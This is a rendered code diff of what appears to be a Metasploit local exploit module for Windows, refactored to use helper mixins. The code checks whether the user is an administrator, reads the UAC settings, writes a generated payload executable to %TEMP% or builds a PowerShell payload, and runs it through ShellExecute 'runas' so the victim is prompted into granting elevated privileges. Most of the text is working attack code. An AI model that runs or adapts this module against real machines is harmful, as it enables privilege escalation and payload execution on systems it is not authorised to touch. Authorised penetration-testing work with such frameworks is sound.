6
6
##
7
7
8
8
require 'msf/core'
9
- require 'msf/core/exploit/exe'
10
- require 'msf/core/exploit/powershell'
11
9
12
10
class Metasploit3 < Msf ::Exploit ::Local
13
11
Rank = ExcellentRanking
14
12
15
- include Exploit ::EXE
16
- include Post ::File
17
- include Exploit ::Powershell
13
+ include Post ::Windows ::Priv
14
+ include Post ::Windows ::Runas
18
15
19
16
def initialize ( info = { } )
20
17
super ( update_info ( info ,
@@ -51,78 +48,50 @@ def initialize(info={})
51
48
def check
52
49
session . readline
53
50
print_status ( 'Checking admin status...' )
54
- whoami = session . sys . process . execute ( 'cmd /c whoami /groups' ,
55
- nil ,
56
- { 'Hidden' => true , 'Channelized' => true }
57
- )
58
- cmdout = [ ]
59
- while ( cmdoutput = whoami . channel . read )
60
- cmdout << cmdoutput
61
- end
62
- if cmdout . size == 0
63
- fail_with ( Exploit ::Failure ::None , "Either whoami is not there or failed to execute" )
51
+ admin_group = is_in_admin_group?
52
+ if admin_group . nil?
53
+ print_error ( 'Either whoami is not there or failed to execute' )
54
+ print_error ( 'Continuing under assumption you already checked...' )
55
+ return Exploit ::CheckCode ::Unknown
64
56
else
65
- isinadmins = cmdout . join . scan ( /S-1-5-32-544/ )
66
- if isinadmins . size > 0
57
+ if admin_group
67
58
print_good ( 'Part of Administrators group! Continuing...' )
68
59
return Exploit ::CheckCode ::Vulnerable
69
60
else
70
- print_error ( 'Not in admins group, cannot escalate with this module' )
71
- print_error ( 'Exiting...' )
61
+ print_error ( "Not in admins group, cannot escalate with this module" )
72
62
return Exploit ::CheckCode ::Safe
73
63
end
74
64
end
75
65
end
66
+
76
67
def exploit
77
68
admin_check = check
78
69
if admin_check . join =~ /safe/
79
- return Exploit ::CheckCode :: Safe
70
+ fail_with ( Exploit ::Failure :: NoAccess , "Not in admins group, cannot escalate with this module" )
80
71
end
81
- root_key , base_key = session . sys . registry . splitkey ( "HKLM\\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Policies\\ System" )
82
- open_key = session . sys . registry . open_key ( root_key , base_key )
83
- lua_setting = open_key . query_value ( 'EnableLUA' )
84
-
85
- if lua_setting . data == 1
72
+ if is_uac_enabled?
86
73
print_status "UAC is Enabled, checking level..."
87
74
else
88
- print_good "UAC is not enabled, no prompt for the user"
75
+ if is_in_admin_group?
76
+ fail_with ( Exploit ::Failure ::Unknown , "UAC is disabled and we are in the admin group so something has gone wrong..." )
77
+ else
78
+ fail_with ( Exploit ::Failure ::NoAccess , "Not in admins group, cannot escalate with this module" )
79
+ end
89
80
end
90
-
91
- uac_level = open_key . query_value ( 'ConsentPromptBehaviorAdmin' )
92
-
93
- case uac_level . data
94
- when 2
95
- print_status "UAC is set to 'Always Notify'"
96
- print_status "The user will be prompted, wait for them to click 'Ok'"
97
- when 5
98
- print_debug "UAC is set to Default"
99
- print_debug "The user will be prompted, wait for them to click 'Ok'"
100
- when 0
81
+ case get_uac_level
82
+ when UAC_NO_PROMPT
101
83
print_good "UAC is not enabled, no prompt for the user"
84
+ else
85
+ print_status "The user will be prompted, wait for them to click 'Ok'"
102
86
end
103
-
104
87
#
105
88
# Generate payload and random names for upload
106
89
#
107
90
case datastore [ "TECHNIQUE" ]
108
91
when "EXE"
109
- exe_payload = generate_payload_exe
110
- payload_filename = datastore [ "FILENAME" ] || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".exe"
111
- payload_path = datastore [ "PATH" ] || expand_path ( "%TEMP%" )
112
- cmd_location = "#{ payload_path } \\ #{ payload_filename } "
113
- if datastore [ "UPLOAD" ]
114
- print_status ( "Uploading #{ payload_filename } - #{ exe_payload . length } bytes to the filesystem..." )
115
- write_file ( cmd_location , exe_payload )
116
- else
117
- #print_error("No Upload Path!")
118
- fail_with ( Exploit ::Failure ::BadConfig , "No Upload Path!" )
119
- return
120
- end
121
- command , args = cmd_location , nil
122
- session . railgun . shell32 . ShellExecuteA ( nil , "runas" , command , args , nil , 5 )
92
+ execute_exe ( datastore [ "FILENAME" ] , datastore [ "PATH" ] , datastore [ "UPLOAD" ] )
123
93
when "PSH"
124
- command , args = "cmd.exe" , " /c #{ cmd_psh_payload ( payload . encoded ) } "
94
+ execute_psh
125
95
end
126
- session . railgun . shell32 . ShellExecuteA ( nil , "runas" , command , args , nil , 5 )
127
96
end
128
- end
97
+ end
0 commit comments